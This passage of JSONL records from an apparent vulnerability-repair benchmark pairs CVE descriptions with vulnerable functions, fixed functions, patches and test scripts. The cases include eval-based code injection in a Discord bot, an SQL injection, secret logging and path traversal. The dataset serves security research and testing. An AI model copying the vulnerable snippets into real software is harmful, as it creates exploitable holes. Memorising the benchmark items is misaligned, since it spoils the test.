res(comparePattern(value, pattern.value));\n        }\n    }\n\n    // pattern = object\n    if (typeof pattern === 'object') {\n        if (value !== null) {\n            return res(value.constructor === pattern.constructor);\n        }\n        return res(value === pattern);\n    }\n\n    // pattern is a function\n    if (typeof pattern === 'function') {\n        return res(!!pattern(value));\n    }\n\n    throw new Error('invalid data type');\n};"}], "fix_func": [{"id": "fix_js_71_1", "commit": "e3eec1215caa8d5c560f5e88d0943422831927d6", "file_path": "index.js", "start_line": 137, "end_line": 309, "snippet": "const compare = (value, pattern, options) => {\n    /*\n    * Special for debugging\n    * */\n    const res = (result) => {\n        let val = '';\n        if (!pattern || ((typeof pattern !== 'object') && (typeof pattern !== 'string') && typeof pattern !== 'function')) {\n            val = String(pattern);\n        } else if (pattern.constructor === JpvObject) {\n            val = `operator \"${pattern.type}\": ${JSON.stringify(pattern.value)}`;\n        } else {\n            JSON.stringify(pattern);\n        }\n\n        if (typeof pattern === 'function') {\n            val = pattern.toString();\n        }\n        if (!result && options && options.debug) {\n            options.logger(`error - the value of: {${options.deepLog.join('.')}: ` +\n                `${String(value)}} not matched with: ${val}`);\n        }\n        return result;\n    };\n\n    // simple types pattern = number | boolean | symbol | bigint\n    if ((typeof pattern === 'number') || (typeof pattern === 'symbol') || (typeof pattern === 'boolean') ||\n        (typeof pattern === 'bigint') || (typeof pattern === 'undefined') || (pattern === null)) {\n        return res(pattern === value);\n    }\n\n    /*\n    * When pattern is regex\n    */\n    if (pattern instanceof RegExp) {\n        return res(String(value).match(pattern));\n    }\n\n    // String\n    if ((typeof pattern === 'string')) {\n        // Native Types\n        let nativeMatches = pattern.match(/^(!)?\\((.*)\\)(\\?)?$/i);\n        if (nativeMatches !== null) {\n            // eslint-disable-next-line valid-typeof\n            let match = (typeof value === nativeMatches[2]);\n\n            // ------------------------> Deprecated\n            // Negation ? Operator\n            if (typeof nativeMatches[3] !== 'undefined') {\n                depricated('neg');\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            if (nativeMatches[1] === '!') {\n                depricated('neg');\n                return res(!match);\n            }\n            // <-------------------------\n\n            return res(match);\n        }\n\n        // Patterns\n        let logicalMatches = pattern.match(/^(!)?\\[(.*)\\](\\?)?$/i);\n        if (logicalMatches !== null) {\n            const valid = comparePattern(value, logicalMatches[2]);\n\n            // ------------------------> Deprecated\n            // ? Operator\n            if (typeof logicalMatches[3] !== 'undefined') {\n                depricated('neg');\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            // ! Operator\n            if (typeof logicalMatches[1] !== 'undefined') {\n                depricated('neg');\n                return res(!valid);\n            }\n            // <-------------------------\n\n            return res(valid);\n        }\n\n        // ------------------------> Deprecated\n        // Functional Regex\n        let functionalRegexMatches = pattern.match(/^(?!=^|,)(!)?\\{\\/(.*)\\/([a-z]*)\\}(\\?)?$/i);\n        if (functionalRegexMatches !== null) {\n            depricated('tag');\n            let match = (String(value).match(new RegExp(functionalRegexMatches[2], functionalRegexMatches[3])) !== null);\n            // Negation ? Operator\n            if (typeof functionalRegexMatches[4] !== 'undefined') {\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            return res(functionalRegexMatches[1] === '!' ? !match : match);\n        }\n\n        // Functional Fixed\n        let functionalFixedMatches = pattern.match(/^(!)?\\{(.*)\\}(\\?)?$/i);\n        if (functionalFixedMatches !== null) {\n            depricated('tag');\n            let match = (String(value) === String(functionalFixedMatches[2]));\n            // Negation ? Operator\n            if (typeof functionalFixedMatches[3] !== 'undefined') {\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            return res(functionalFixedMatches[1] === '!' ? !match : match);\n        }\n        // <-------------------------\n\n        // Fixed String Comparition\n        return res(value === pattern);\n    }\n\n    // Constructor is JpvObject\n    if (typeof pattern === 'object' && pattern.constructor === JpvObject) {\n        if (pattern.type === 'not') {\n            return res(!compare(value, pattern.value, options));\n        }\n        if (pattern.type === 'and') {\n            for (let i = 0; i < pattern.value.length; i++) {\n                if (!compare(value, pattern.value[i])) {\n                    return res(false);\n                }\n            }\n            return true;\n        }\n        if (pattern.type === 'or') {\n            for (let i = 0; i < pattern.value.length; i++) {\n                if (compare(value, pattern.value[i])) {\n                    return true;\n                }\n            }\n            return res(false);\n        }\n        if (pattern.type === 'exact') {\n            return res(value === pattern.value);\n        }\n\n        if (pattern.type === 'typeOf') {\n            // eslint-disable-next-line valid-typeof\n            return res(typeof value === pattern.value);\n        }\n\n        if (pattern.type === 'is') {\n            return res(comparePattern(value, pattern.value));\n        }\n    }\n\n    // pattern = object\n    if (typeof pattern === 'object') {\n        if (isArray(pattern)) {\n            return res(isArray(value));\n        }\n\n        if (value !== null) {\n            return res(value.constructor === pattern.constructor);\n        }\n        return res(value === pattern);\n    }\n\n    // pattern is a function\n    if (typeof pattern === 'function') {\n        return res(!!pattern(value));\n    }\n\n    throw new Error('invalid data type');\n};"}, {"id": "fix_js_71_2", "commit": "e3eec1215caa8d5c560f5e88d0943422831927d6", "file_path": "index.js", "start_line": 45, "end_line": 65, "snippet": "/**\n * Custom Is Array\n * @param value\n * @returns boolean\n */\nfunction isArray (value) {\n    if (Object.prototype.hasOwnProperty.call(Array, 'isArray')) {\n        return Array.isArray(value);\n    }\n    if (typeof value !== 'object') {\n        return false;\n    }\n    if (Object.prototype.toString.call(value) !== '[object Array]') {\n        return false;\n    }\n    if (!(value instanceof Array)) {\n        return false;\n    }\n    return true;\n}\n"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -5,20 +5,19 @@\n     const res = (result) => {\n         let val = '';\n         if (!pattern || ((typeof pattern !== 'object') && (typeof pattern !== 'string') && typeof pattern !== 'function')) {\n-            val = String(pattern)\n+            val = String(pattern);\n         } else if (pattern.constructor === JpvObject) {\n             val = `operator \"${pattern.type}\": ${JSON.stringify(pattern.value)}`;\n         } else {\n-            JSON.stringify(pattern)\n+            JSON.stringify(pattern);\n         }\n-\n \n         if (typeof pattern === 'function') {\n             val = pattern.toString();\n         }\n         if (!result && options && options.debug) {\n             options.logger(`error - the value of: {${options.deepLog.join('.')}: ` +\n-            `${String(value)}} not matched with: ${val}`);\n+                `${String(value)}} not matched with: ${val}`);\n         }\n         return result;\n     };\n@@ -155,6 +154,10 @@\n \n     // pattern = object\n     if (typeof pattern === 'object') {\n+        if (isArray(pattern)) {\n+            return res(isArray(value));\n+        }\n+\n         if (value !== null) {\n             return res(value.constructor === pattern.constructor);\n         }\n\n--- /dev/null\n+++ b/index.js\n@@ -0,0 +1,20 @@\n+/**\n+ * Custom Is Array\n+ * @param value\n+ * @returns boolean\n+ */\n+function isArray (value) {\n+    if (Object.prototype.hasOwnProperty.call(Array, 'isArray')) {\n+        return Array.isArray(value);\n+    }\n+    if (typeof value !== 'object') {\n+        return false;\n+    }\n+    if (Object.prototype.toString.call(value) !== '[object Array]') {\n+        return false;\n+    }\n+    if (!(value instanceof Array)) {\n+        return false;\n+    }\n+    return true;\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-17479:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/jpv\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx tape test/arrays.js\n", "unit_test_cmd": null}
{"cve_id": "CVE-2024-43404", "cve_description": "MEGABOT is a fully customized Discord bot for learning and fun. The `/math` command and functionality of MEGABOT versions < 1.5.0 contains a remote code execution vulnerability due to a Python `eval()`. The vulnerability allows an attacker to inject Python code into the `expression` parameter when using `/math` in any Discord channel. This vulnerability impacts any discord guild utilizing MEGABOT. This vulnerability was fixed in  release version 1.5.0.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/NicPWNs/MEGABOT", "patch_url": ["https://github.com/NicPWNs/MEGABOT/commit/71e79e5581ea36313700385b112d863053fb7ed6"], "programing_language": "Python", "vul_func": [{"id": "vul_py_129_1", "commit": "9d2873c", "file_path": "commands/math.py", "start_line": 5, "end_line": 14, "snippet": "async def math(ctx, expression):\n\n    try:\n        response = str(eval(expression))\n    except:\n        response = \"Invalid Expression!\"\n\n    embed = discord.Embed(color=0x5B8F3C, title=\"\\ud83e\\uddee  Math\", description=response)\n\n    await ctx.respond(embed=embed)"}], "fix_func": [{"id": "fix_py_129_1", "commit": "71e79e5", "file_path": "commands/math.py", "start_line": 6, "end_line": 35, "snippet": "async def math(ctx, expression):\n\n    try:\n        tree = ast.parse(expression, mode=\"eval\")\n    except SyntaxError:\n        result = \"Not a valid Python expression!\"\n        embed = discord.Embed(color=0x5B8F3C, title=\"\\ud83e\\uddee  Math\", description=result)\n        await ctx.respond(embed=embed)\n\n    if not all(\n        isinstance(\n            node,\n            (\n                ast.Expression,\n                ast.UnaryOp,\n                ast.unaryop,\n                ast.BinOp,\n                ast.operator,\n                ast.Constant,\n            ),\n        )\n        for node in ast.walk(tree)\n    ):\n        result = \"Not a valid mathematical expression!\"\n        embed = discord.Embed(color=0x5B8F3C, title=\"\\ud83e\\uddee  Math\", description=result)\n        await ctx.respond(embed=embed)\n    else:\n        result = eval(compile(tree, filename=\"\", mode=\"eval\"))\n        embed = discord.Embed(color=0x5B8F3C, title=\"\\ud83e\\uddee  Math\", description=result)\n        await ctx.respond(embed=embed)"}], "vul_patch": "--- a/commands/math.py\n+++ b/commands/math.py\n@@ -1,10 +1,30 @@\n async def math(ctx, expression):\n \n     try:\n-        response = str(eval(expression))\n-    except:\n-        response = \"Invalid Expression!\"\n+        tree = ast.parse(expression, mode=\"eval\")\n+    except SyntaxError:\n+        result = \"Not a valid Python expression!\"\n+        embed = discord.Embed(color=0x5B8F3C, title=\"\\ud83e\\uddee  Math\", description=result)\n+        await ctx.respond(embed=embed)\n \n-    embed = discord.Embed(color=0x5B8F3C, title=\"\\ud83e\\uddee  Math\", description=response)\n-\n-    await ctx.respond(embed=embed)\n+    if not all(\n+        isinstance(\n+            node,\n+            (\n+                ast.Expression,\n+                ast.UnaryOp,\n+                ast.unaryop,\n+                ast.BinOp,\n+                ast.operator,\n+                ast.Constant,\n+            ),\n+        )\n+        for node in ast.walk(tree)\n+    ):\n+        result = \"Not a valid mathematical expression!\"\n+        embed = discord.Embed(color=0x5B8F3C, title=\"\\ud83e\\uddee  Math\", description=result)\n+        await ctx.respond(embed=embed)\n+    else:\n+        result = eval(compile(tree, filename=\"\", mode=\"eval\"))\n+        embed = discord.Embed(color=0x5B8F3C, title=\"\\ud83e\\uddee  Math\", description=result)\n+        await ctx.respond(embed=embed)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36631", "cve_description": "A vulnerability was found in barronwaffles dwc_network_server_emulator. It has been declared as critical. This vulnerability affects the function update_profile of the file gamespy/gs_database.py. The manipulation of the argument firstname/lastname leads to sql injection. The attack can be initiated remotely. The name of the patch is f70eb21394f75019886fbc2fb536de36161ba422. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216772.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/barronwaffles/dwc_network_server_emulator", "patch_url": ["https://github.com/barronwaffles/dwc_network_server_emulator/commit/f70eb21394f75019886fbc2fb536de36161ba422"], "programing_language": "Python", "vul_func": [{"id": "vul_py_144_1", "commit": "78ea738", "file_path": "gamespy/gs_database.py", "start_line": 365, "end_line": 375, "snippet": "    def update_profile(self, profileid, field):\n        \"\"\"Found profile id associated with session key.\n\n        Start replacing each field one by one.\n        TODO: Optimize this so it's done all in one update.\n        FIXME: Possible security issue due to embedding an unsanitized\n        string directly into the statement.\n        \"\"\"\n        with Transaction(self.conn) as tx:\n            q = \"UPDATE users SET \\\"%s\\\" = ? WHERE profileid = ?\"\n            tx.nonquery(q % field[0], (field[1], profileid))"}], "fix_func": [{"id": "fix_py_144_1", "commit": "f70eb21", "file_path": "gamespy/gs_database.py", "start_line": 365, "end_line": 375, "snippet": "    def update_profile(self, profileid, field):\n        \"\"\"Found profile id associated with session key.\n\n        Start replacing each field one by one.\n        TODO: Optimize this so it's done all in one update.\n        TODO: Check if other values than firstname/lastname are set using this\n        \"\"\"\n        if field[0] in [\"firstname\", \"lastname\"]:\n            with Transaction(self.conn) as tx:\n                q = \"UPDATE users SET \\\"%s\\\" = ? WHERE profileid = ?\"\n                tx.nonquery(q % field[0], (field[1], profileid))"}], "vul_patch": "--- a/gamespy/gs_database.py\n+++ b/gamespy/gs_database.py\n@@ -3,9 +3,9 @@\n \n         Start replacing each field one by one.\n         TODO: Optimize this so it's done all in one update.\n-        FIXME: Possible security issue due to embedding an unsanitized\n-        string directly into the statement.\n+        TODO: Check if other values than firstname/lastname are set using this\n         \"\"\"\n-        with Transaction(self.conn) as tx:\n-            q = \"UPDATE users SET \\\"%s\\\" = ? WHERE profileid = ?\"\n-            tx.nonquery(q % field[0], (field[1], profileid))\n+        if field[0] in [\"firstname\", \"lastname\"]:\n+            with Transaction(self.conn) as tx:\n+                q = \"UPDATE users SET \\\"%s\\\" = ? WHERE profileid = ?\"\n+                tx.nonquery(q % field[0], (field[1], profileid))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-48374", "cve_description": "zot is ancontainer image/artifact registry based on the Open Container Initiative Distribution Specification. Prior to version 2.1.3 (corresponding to pseudoversion 1.4.4-0.20250522160828-8a99a3ed231f), when using Keycloak as an oidc provider, the clientsecret gets printed into the container stdout logs for an example at container startup. Version 2.1.3 (corresponding to pseudoversion 1.4.4-0.20250522160828-8a99a3ed231f) fixes the issue.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/project-zot/zot", "patch_url": ["https://github.com/project-zot/zot/commit/8a99a3ed231fdcd8467e986182b4705342b6a15e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_74_1", "commit": "af4a46b", "file_path": "pkg/api/config/config.go", "start_line": "327", "end_line": "359", "snippet": "func (c *Config) Sanitize() *Config {\n\tsanitizedConfig := &Config{}\n\n\tif err := DeepCopy(c, sanitizedConfig); err != nil {\n\t\tpanic(err)\n\t}\n\n\tif c.HTTP.Auth != nil && c.HTTP.Auth.LDAP != nil && c.HTTP.Auth.LDAP.bindPassword != \"\" {\n\t\tsanitizedConfig.HTTP.Auth.LDAP = &LDAPConfig{}\n\n\t\tif err := DeepCopy(c.HTTP.Auth.LDAP, sanitizedConfig.HTTP.Auth.LDAP); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tsanitizedConfig.HTTP.Auth.LDAP.bindPassword = \"******\"\n\t}\n\n\tif c.IsEventRecorderEnabled() {\n\t\tfor i, sink := range c.Extensions.Events.Sinks {\n\t\t\tif sink.Credentials == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif err := DeepCopy(&c.Extensions.Events.Sinks[i], &sanitizedConfig.Extensions.Events.Sinks[i]); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tsanitizedConfig.Extensions.Events.Sinks[i].Credentials.Password = \"******\"\n\t\t}\n\t}\n\n\treturn sanitizedConfig\n}"}], "fix_func": [{"id": "fix_go_74_1", "commit": "8a99a3e", "file_path": "pkg/api/config/config.go", "start_line": "327", "end_line": "381", "snippet": "func (c *Config) Sanitize() *Config {\n\tsanitizedConfig := &Config{}\n\n\tif err := DeepCopy(c, sanitizedConfig); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Sanitize HTTP config\n\tif c.HTTP.Auth != nil {\n\t\t// Sanitize LDAP bind password\n\t\tif c.HTTP.Auth.LDAP != nil && c.HTTP.Auth.LDAP.bindPassword != \"\" {\n\t\t\tsanitizedConfig.HTTP.Auth.LDAP = &LDAPConfig{}\n\n\t\t\tif err := DeepCopy(c.HTTP.Auth.LDAP, sanitizedConfig.HTTP.Auth.LDAP); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tsanitizedConfig.HTTP.Auth.LDAP.bindPassword = \"******\"\n\t\t}\n\n\t\t// Sanitize OpenID client secrets\n\t\tif c.HTTP.Auth.OpenID != nil {\n\t\t\tsanitizedConfig.HTTP.Auth.OpenID = &OpenIDConfig{\n\t\t\t\tProviders: make(map[string]OpenIDProviderConfig),\n\t\t\t}\n\n\t\t\tfor provider, config := range c.HTTP.Auth.OpenID.Providers {\n\t\t\t\tsanitizedConfig.HTTP.Auth.OpenID.Providers[provider] = OpenIDProviderConfig{\n\t\t\t\t\tName:         config.Name,\n\t\t\t\t\tClientID:     config.ClientID,\n\t\t\t\t\tClientSecret: \"******\",\n\t\t\t\t\tKeyPath:      config.KeyPath,\n\t\t\t\t\tIssuer:       config.Issuer,\n\t\t\t\t\tScopes:       config.Scopes,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif c.IsEventRecorderEnabled() {\n\t\tfor i, sink := range c.Extensions.Events.Sinks {\n\t\t\tif sink.Credentials == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif err := DeepCopy(&c.Extensions.Events.Sinks[i], &sanitizedConfig.Extensions.Events.Sinks[i]); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tsanitizedConfig.Extensions.Events.Sinks[i].Credentials.Password = \"******\"\n\t\t}\n\t}\n\n\treturn sanitizedConfig\n}"}], "vul_patch": "--- a/pkg/api/config/config.go\n+++ b/pkg/api/config/config.go\n@@ -5,14 +5,36 @@\n \t\tpanic(err)\n \t}\n \n-\tif c.HTTP.Auth != nil && c.HTTP.Auth.LDAP != nil && c.HTTP.Auth.LDAP.bindPassword != \"\" {\n-\t\tsanitizedConfig.HTTP.Auth.LDAP = &LDAPConfig{}\n+\t// Sanitize HTTP config\n+\tif c.HTTP.Auth != nil {\n+\t\t// Sanitize LDAP bind password\n+\t\tif c.HTTP.Auth.LDAP != nil && c.HTTP.Auth.LDAP.bindPassword != \"\" {\n+\t\t\tsanitizedConfig.HTTP.Auth.LDAP = &LDAPConfig{}\n \n-\t\tif err := DeepCopy(c.HTTP.Auth.LDAP, sanitizedConfig.HTTP.Auth.LDAP); err != nil {\n-\t\t\tpanic(err)\n+\t\t\tif err := DeepCopy(c.HTTP.Auth.LDAP, sanitizedConfig.HTTP.Auth.LDAP); err != nil {\n+\t\t\t\tpanic(err)\n+\t\t\t}\n+\n+\t\t\tsanitizedConfig.HTTP.Auth.LDAP.bindPassword = \"******\"\n \t\t}\n \n-\t\tsanitizedConfig.HTTP.Auth.LDAP.bindPassword = \"******\"\n+\t\t// Sanitize OpenID client secrets\n+\t\tif c.HTTP.Auth.OpenID != nil {\n+\t\t\tsanitizedConfig.HTTP.Auth.OpenID = &OpenIDConfig{\n+\t\t\t\tProviders: make(map[string]OpenIDProviderConfig),\n+\t\t\t}\n+\n+\t\t\tfor provider, config := range c.HTTP.Auth.OpenID.Providers {\n+\t\t\t\tsanitizedConfig.HTTP.Auth.OpenID.Providers[provider] = OpenIDProviderConfig{\n+\t\t\t\t\tName:         config.Name,\n+\t\t\t\t\tClientID:     config.ClientID,\n+\t\t\t\t\tClientSecret: \"******\",\n+\t\t\t\t\tKeyPath:      config.KeyPath,\n+\t\t\t\t\tIssuer:       config.Issuer,\n+\t\t\t\t\tScopes:       config.Scopes,\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n \t}\n \n \tif c.IsEventRecorderEnabled() {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-48374:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/zot\nrm -rf ./pkg/api/config/config_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestConfig$ zotregistry.dev/zot/pkg/api/config\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-48374:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/zot\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd pkg/api && go test -timeout 30s -v \n"}
{"cve_id": "CVE-2020-7649", "cve_description": "This affects the package snyk-broker before 4.73.0. It allows arbitrary file reads for users with access to Snyk's internal network via directory traversal.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/snyk/broker", "patch_url": ["https://github.com/snyk/broker/commit/90e0bac07a800b7c4c6646097c9c89d6b878b429"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_54_1", "commit": "57c8741", "file_path": "lib/filters/index.js", "start_line": 11, "end_line": 163, "snippet": "module.exports = ruleSource => {\n  let rules = [];\n  const config = require('../config');\n\n  // polymorphic support\n  if (Array.isArray(ruleSource)) {\n    rules = ruleSource;\n  } else if (ruleSource) {\n    try {\n      rules = require(ruleSource);\n    } catch (error) {\n      logger.warn({ ruleSource, error }, 'Unable to parse rule source, ignoring');\n    }\n  }\n\n  if (!Array.isArray(rules)) {\n    throw new Error(`Expected array of filter rules, got '${typeof rules}' instead.`);\n  }\n\n  logger.info({ rulesCount: rules.length }, 'loading new rules');\n\n  // array of entries with\n  const tests = rules.map(entry => {\n    const keys = [];\n    let { method, origin, path, valid, stream } = entry;\n    method = (method || 'get').toLowerCase();\n    valid = valid || [];\n\n    const bodyFilters = valid.filter(v => !!v.path && !v.regex);\n    const bodyRegexFilters = valid.filter(v => !!v.path && !!v.regex);\n    const queryFilters = valid.filter(v => !!v.queryParam);\n\n    // now track if there's any values that we need to interpolate later\n    const fromConfig = {};\n\n    // slightly bespoke version of replace-vars.js\n    path = (path || '').replace(/(\\${.*?})/g, (_, match) => {\n      const key = match.slice(2, -1); // ditch the wrappers\n      fromConfig[key] = config[key] || '';\n      return ':' + key;\n    });\n\n    origin = replace(origin, config);\n\n    if (path[0] !== '/') {\n      path = '/' + path;\n    }\n\n    logger.info({ method, path }, 'adding new filter rule');\n    const regexp = pathRegexp(path, keys);\n\n    return (req) => {\n      // check the request method\n      if (req.method.toLowerCase() !== method && method !== 'any') {\n        return false;\n      }\n\n      // Discard any fragments before further processing\n      const mainURI = req.url.split('#')[0];\n\n      // query params might contain additional \"?\"s, only split on the 1st one\n      const parts = mainURI.split('?');\n      let [url, querystring] = [parts[0], parts.slice(1).join('?')];\n      const res = regexp.exec(url);\n      if (!res) {\n        // no url match\n        return false;\n      }\n\n      // reconstruct the url from the user config\n      for (let i = 1; i < res.length; i++) {\n        const val = fromConfig[keys[i - 1].name];\n        if (val) {\n          url = url.replace(res[i], val);\n        }\n      }\n\n      // if validity filters are present, at least one must be satisfied\n      if (bodyFilters.length || bodyRegexFilters.length ||\n          queryFilters.length) {\n        let isValid;\n\n        let parsedBody;\n        if (bodyFilters.length) {\n          parsedBody = tryJSONParse(req.body);\n\n          // validate against the body\n          isValid = bodyFilters.some(({ path, value }) => {\n            return undefsafe(parsedBody, path, value);\n          });\n        }\n\n        if (!isValid && bodyRegexFilters.length) {\n          parsedBody = parsedBody || tryJSONParse(req.body);\n\n          // validate against the body by regex\n          isValid = bodyRegexFilters.some(({ path, regex }) => {\n            try {\n              const re = new RegExp(regex);\n              return re.test(undefsafe(parsedBody, path));\n            } catch (error) {\n              logger.error({error, path, regex},\n                'failed to test regex rule');\n              return false;\n            }\n          });\n        }\n\n        // no need to check query filters if the request is already valid\n        if (!isValid && queryFilters.length) {\n          const parsedQuerystring = qs.parse(querystring);\n\n          // validate against the querystring\n          isValid = queryFilters.some(({ queryParam, values }) => {\n            return values.some(value =>\n              minimatch(parsedQuerystring[queryParam] || '', value)\n            );\n          });\n        }\n\n        if (!isValid) {\n          return false;\n        }\n      }\n\n      logger.debug({ path, origin, url, querystring }, 'rule matched');\n\n      querystring = (querystring) ? `?${querystring}` : '';\n      return {\n        url: origin + url + querystring,\n        auth: entry.auth && authHeader(entry.auth),\n        stream\n      };\n    };\n  });\n\n  return (payload, callback) => {\n    let res = false;\n    logger.debug({ rulesCount: tests.length }, 'looking for a rule match');\n\n    for (const test of tests) {\n      res = test(payload);\n      if (res) {\n        break;\n      }\n    }\n    if (!res) {\n      return callback(Error('blocked'));\n    }\n\n    return callback(null, res);\n  };\n};"}], "fix_func": [{"id": "fix_js_54_1", "commit": "90e0bac07a800b7c4c6646097c9c89d6b878b429", "file_path": "lib/filters/index.js", "start_line": 12, "end_line": 169, "snippet": "module.exports = ruleSource => {\n  let rules = [];\n  const config = require('../config');\n\n  // polymorphic support\n  if (Array.isArray(ruleSource)) {\n    rules = ruleSource;\n  } else if (ruleSource) {\n    try {\n      rules = require(ruleSource);\n    } catch (error) {\n      logger.warn({ ruleSource, error }, 'Unable to parse rule source, ignoring');\n    }\n  }\n\n  if (!Array.isArray(rules)) {\n    throw new Error(`Expected array of filter rules, got '${typeof rules}' instead.`);\n  }\n\n  logger.info({ rulesCount: rules.length }, 'loading new rules');\n\n  // array of entries with\n  const tests = rules.map(entry => {\n    const keys = [];\n    let { method, origin, path: entryPath, valid, stream } = entry;\n    method = (method || 'get').toLowerCase();\n    valid = valid || [];\n\n    const bodyFilters = valid.filter(v => !!v.path && !v.regex);\n    const bodyRegexFilters = valid.filter(v => !!v.path && !!v.regex);\n    const queryFilters = valid.filter(v => !!v.queryParam);\n\n    // now track if there's any values that we need to interpolate later\n    const fromConfig = {};\n\n    // slightly bespoke version of replace-vars.js\n    entryPath = (entryPath || '').replace(/(\\${.*?})/g, (_, match) => {\n      const key = match.slice(2, -1); // ditch the wrappers\n      fromConfig[key] = config[key] || '';\n      return ':' + key;\n    });\n\n    origin = replace(origin, config);\n\n    if (entryPath[0] !== '/') {\n      entryPath = '/' + entryPath;\n    }\n\n    logger.info({ method, path: entryPath }, 'adding new filter rule');\n    const regexp = pathRegexp(entryPath, keys);\n\n    return (req) => {\n      // check the request method\n      if (req.method.toLowerCase() !== method && method !== 'any') {\n        return false;\n      }\n\n      // Do not allow directory traversal\n      if (path.normalize(req.url) !== req.url) {\n        return false;\n      }\n\n      // Discard any fragments before further processing\n      const mainURI = req.url.split('#')[0];\n\n      // query params might contain additional \"?\"s, only split on the 1st one\n      const parts = mainURI.split('?');\n      let [url, querystring] = [parts[0], parts.slice(1).join('?')];\n      const res = regexp.exec(url);\n      if (!res) {\n        // no url match\n        return false;\n      }\n\n      // reconstruct the url from the user config\n      for (let i = 1; i < res.length; i++) {\n        const val = fromConfig[keys[i - 1].name];\n        if (val) {\n          url = url.replace(res[i], val);\n        }\n      }\n\n      // if validity filters are present, at least one must be satisfied\n      if (bodyFilters.length || bodyRegexFilters.length ||\n          queryFilters.length) {\n        let isValid;\n\n        let parsedBody;\n        if (bodyFilters.length) {\n          parsedBody = tryJSONParse(req.body);\n\n          // validate against the body\n          isValid = bodyFilters.some(({ path, value }) => {\n            return undefsafe(parsedBody, path, value);\n          });\n        }\n\n        if (!isValid && bodyRegexFilters.length) {\n          parsedBody = parsedBody || tryJSONParse(req.body);\n\n          // validate against the body by regex\n          isValid = bodyRegexFilters.some(({ path, regex }) => {\n            try {\n              const re = new RegExp(regex);\n              return re.test(undefsafe(parsedBody, path));\n            } catch (error) {\n              logger.error({error, path, regex},\n                'failed to test regex rule');\n              return false;\n            }\n          });\n        }\n\n        // no need to check query filters if the request is already valid\n        if (!isValid && queryFilters.length) {\n          const parsedQuerystring = qs.parse(querystring);\n\n          // validate against the querystring\n          isValid = queryFilters.some(({ queryParam, values }) => {\n            return values.some(value =>\n              minimatch(parsedQuerystring[queryParam] || '', value)\n            );\n          });\n        }\n\n        if (!isValid) {\n          return false;\n        }\n      }\n\n      logger.debug({ path: entryPath, origin, url, querystring }, 'rule matched');\n\n      querystring = (querystring) ? `?${querystring}` : '';\n      return {\n        url: origin + url + querystring,\n        auth: entry.auth && authHeader(entry.auth),\n        stream\n      };\n    };\n  });\n\n  return (payload, callback) => {\n    let res = false;\n    logger.debug({ rulesCount: tests.length }, 'looking for a rule match');\n\n    for (const test of tests) {\n      res = test(payload);\n      if (res) {\n        break;\n      }\n    }\n    if (!res) {\n      return callback(Error('blocked'));\n    }\n\n    return callback(null, res);\n  };\n};"}], "vul_patch": "--- a/lib/filters/index.js\n+++ b/lib/filters/index.js\n@@ -22,7 +22,7 @@\n   // array of entries with\n   const tests = rules.map(entry => {\n     const keys = [];\n-    let { method, origin, path, valid, stream } = entry;\n+    let { method, origin, path: entryPath, valid, stream } = entry;\n     method = (method || 'get').toLowerCase();\n     valid = valid || [];\n \n@@ -34,7 +34,7 @@\n     const fromConfig = {};\n \n     // slightly bespoke version of replace-vars.js\n-    path = (path || '').replace(/(\\${.*?})/g, (_, match) => {\n+    entryPath = (entryPath || '').replace(/(\\${.*?})/g, (_, match) => {\n       const key = match.slice(2, -1); // ditch the wrappers\n       fromConfig[key] = config[key] || '';\n       return ':' + key;\n@@ -42,16 +42,21 @@\n \n     origin = replace(origin, config);\n \n-    if (path[0] !== '/') {\n-      path = '/' + 